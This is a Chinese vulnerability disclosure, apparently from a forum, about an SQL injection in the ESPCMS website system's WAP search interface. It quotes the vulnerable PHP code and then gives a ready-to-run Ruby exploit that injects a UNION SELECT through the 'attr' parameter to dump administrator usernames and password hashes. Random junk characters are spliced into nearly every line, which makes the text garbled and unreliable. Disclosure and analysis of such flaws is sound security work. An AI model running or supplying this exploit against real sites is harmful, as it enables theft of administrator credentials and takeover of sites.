0×0 漏洞概述0×1 漏洞细节
( C* }' F: V' r& O) r( L0×2 PoC/ Q- l+ j) ^3 p# ] N
2 p) j1 E& a2 R/ P+ p2 v' _* F) J& K) j( g. j5 D" a; y
3 k; L3 y; a9 D& J0×0 漏洞概述. f0 A: u$ D6 A- D6 }& l" B
# B2 N) q" ?! t! I2 i
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。5 H6 H8 a, ~8 W6 P* K
其在处理传入的参数时考虑不严谨导致SQL注入发生* f* K' Z0 G7 d" q- s' P1 [
! Y% S v( ^4 f
% A+ U D5 L* J4 N% S% `0×1 漏洞细节( v. B# _5 p7 N+ Y* T
7 P" ?6 Z& D( z2 C. ~, V0 `; O
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。6 l0 w- Q2 m+ N# L
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。, Q; ]( O/ L* \, p7 A1 Q t! R
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
* e0 y' F G: e) D% u: n z% e# i. @% N
在/interface/3gwap_search.php文件的in_result函数中:" L) I8 l" e9 J/ K6 s {9 b# S2 C
/ W7 ]9 R" h2 I; {- |& z$ H
) G- ]- N! [2 m' x! W( v
. u6 ^9 D" @( u2 j) N function in_result() {" x6 ]0 ~# l( n1 n
... ... ... ... ... ... ... ... ...3 @9 {( p/ `! ?4 k6 x! L1 n
$urlcode = $_SERVER[ 'QUERY_STRING '];
4 ~) A7 h w* w: F# F4 f parse_str(html_entity_decode($urlcode), $output);% J/ _- x+ O4 z' O) N
! Z6 _, y$ \9 I$ z" {* I c
... ... ... ... ... ... ... ... ...9 V; k# K9 W! I6 @0 o
if (is_array($output['attr' ]) && count($output['attr']) > 0) {8 G) q o( w6 g
- T2 l0 M+ o- p0 m# G6 n% v $db_table = db_prefix . 'model_att';
Z# C% `9 `& |
' @' i8 L# e/ E2 c( Z foreach ($output['attr' ] as $key => $value) {
2 U% Z( a' q4 m0 v0 N if ($value) {2 f. H X" T' j- C
: y" J) O* K/ [ $key = addslashes($key);
+ V7 D- W0 D7 @! Y/ v3 K $key = $this-> fun->inputcodetrim($key);
" }: V: g( l6 a- m8 w $db_att_where = " WHERE isclass=1 AND attrname='$key'";
* S+ u* \& t5 a: Y2 E: q8 D' [% g $countnum = $this->db_numrows($db_table, $db_att_where);
+ i- T; c2 {' A. f; V if ($countnum > 0) {
, x3 e) Y' z9 Z3 |: S# ^* P $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;/ W k1 \& ^2 I7 G
}& A3 \; M4 b3 C# I" H6 M
}
. p! x# N' D e, n! z }
' q! ]: @ X$ I, R [( {8 c }
# q' v5 O& h- o: p: r0 ? if (!empty ($keyword) && empty($keyname)) {* ?, O, K) _8 K7 g- W8 y9 O5 ^1 }
$keyname = 'title';
4 F/ I# l0 H$ M" j. c( b5 _ $db_where.= " AND a.title like '%$keyword%'" ;
1 ^9 ~6 H+ i: e/ G } elseif (!empty ($keyword) && !empty($keyname)) {
8 m& l0 X+ o& H6 o $db_where.= " AND $keyname like '% $keyword%'";& l7 W9 ~: N2 n E: r7 v( z3 u
}' H; C" q9 Y* ^" |9 p J
$pagemax = 15;, i2 U8 {5 F0 ~& N
" d! L y% f" ~6 T6 i $pagesylte = 1; u) J& o. R0 x( s( K/ c
. F- i% f+ }5 Z2 G5 b8 z' ? if ($countnum > 0) {4 `" H; D1 g9 t/ S; x/ E' a
6 p4 e: a- }# R! e5 n3 }) h* d $numpage = ceil($countnum / $pagemax);) i% o0 b+ T) @8 M! l1 B
} else {; p& o0 z8 J, r2 S
$numpage = 1;- a" X( I% `! h& T3 O" |+ F
}
. {( k* p* M/ R1 z $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;2 X, W3 d( X/ Q1 F- y8 o) o/ s: Y
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
8 }3 [3 f4 x$ P& C' q2 q$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);9 f, Q+ p0 D8 v" O$ B. u4 N7 j
... ... ... ... ... ... ... ... ...
+ [6 H3 e" Y6 t& J }2 d! _9 \0 f; A5 Q% m
5 Q% u; Z9 P) O2 Y
6 f6 k8 D; q9 o1 H0 b0×2 PoC |1 L6 ?1 R6 G2 }! V& }* `: D* a" |
1 @* Z4 X( H0 R) c$ A
0 I5 m! k0 v! D) ~% O
$ |% g$ e8 [ _; L7 w9 Erequire "net/http": j+ i$ Y( ?! |$ z
7 H2 `+ Q A$ `& J! N7 b2 s
def request(method, url)
2 A+ [% k) ^$ h: i! O" y2 \2 S if method.eql?("get")
! b: h' `% Q/ {& f: L# L* i3 ^) { uri = URI.parse(url)
1 e0 ^5 R0 B& \* E A5 l. e http = Net::HTTP.new(uri.host, uri.port)
. I! v( x/ h* w2 j# [; f1 ~& W response = http.request(Net::HTTP::Get.new(uri.request_uri))
$ e+ Q' \4 G0 O# g return response
; P9 z* A$ X2 Q: a! v+ {* K! r8 S end
* e9 z* | o0 X! ?5 o* e& Uend( Y: t8 R1 E! ]/ Q. q. v6 Z
7 E' E/ B4 _# g- {% G
doc =<<HERE
* p7 Z) j1 r: t4 c7 E0 |7 C- |" I-------------------------------------------------------9 R" Y+ r. E" K, [. Q* T
Espcms Injection Exploit
6 ?! d4 n+ E% j4 h/ HAuthor:ztz
3 I( r& R1 [, b+ x- s$ z1 h0 XBlog:http://ztz.fuzzexp.org/% ~$ Z) R2 C0 J$ z& \" [
-------------------------------------------------------. Q' u# @% P. p# v; K
% D: `) R, P4 ]1 r0 X" [1 _) O
HERE+ [! w8 J( a3 ]
* }% X3 Z1 L$ \4 @- vusage =<<HERE
- _/ m% W, e4 m0 M5 Q* F0 g" wUsage: ruby #{$0} host port path' C' T7 u& A+ k2 C9 p
example: ruby #{$0} www.target.com 80 /
. _# A' Q6 G$ C2 L( xHERE+ A1 u0 o! m; {. j) H9 I
7 N; i# u, g' w3 ]3 rputs doc/ T1 R# s2 [& m
if ARGV.length < 36 Y7 d( ]% l* i$ K' C, F8 U2 T
puts usage
) o) p* T, S1 m1 ?0 Yelse
9 O6 g' x3 {0 {- {' I# [! V( j( l! r $host = ARGV[0]
; R+ r* D" b- r+ A& y+ m' Z2 J $port = ARGV[1]
2 F6 R {0 F9 o& F, a* I' D5 E $path = ARGV[2]
3 n o2 @2 U% S. O! B- |# r4 q5 `0 O) U) e
puts "send request..."
& ]* `4 f' }# |3 E u+ { url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&5 ], _3 u1 _* r9 T: O
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
' M, c1 n. Y& F$ Q! I,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27. [9 [* q9 d. Y8 t! O% z1 h
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23") V, V1 M! V- x* A
response = request("get", url)
' i2 s; `/ R% z result = response.body.scan(/\w+&\w{32}/)
5 n4 l- H5 {0 @6 U, G puts result9 y! c# q- |0 @, m6 z _, x5 |/ B
end; ]; p. g8 m3 V# h( E
; h6 ]! t, u' b9 g0 ] |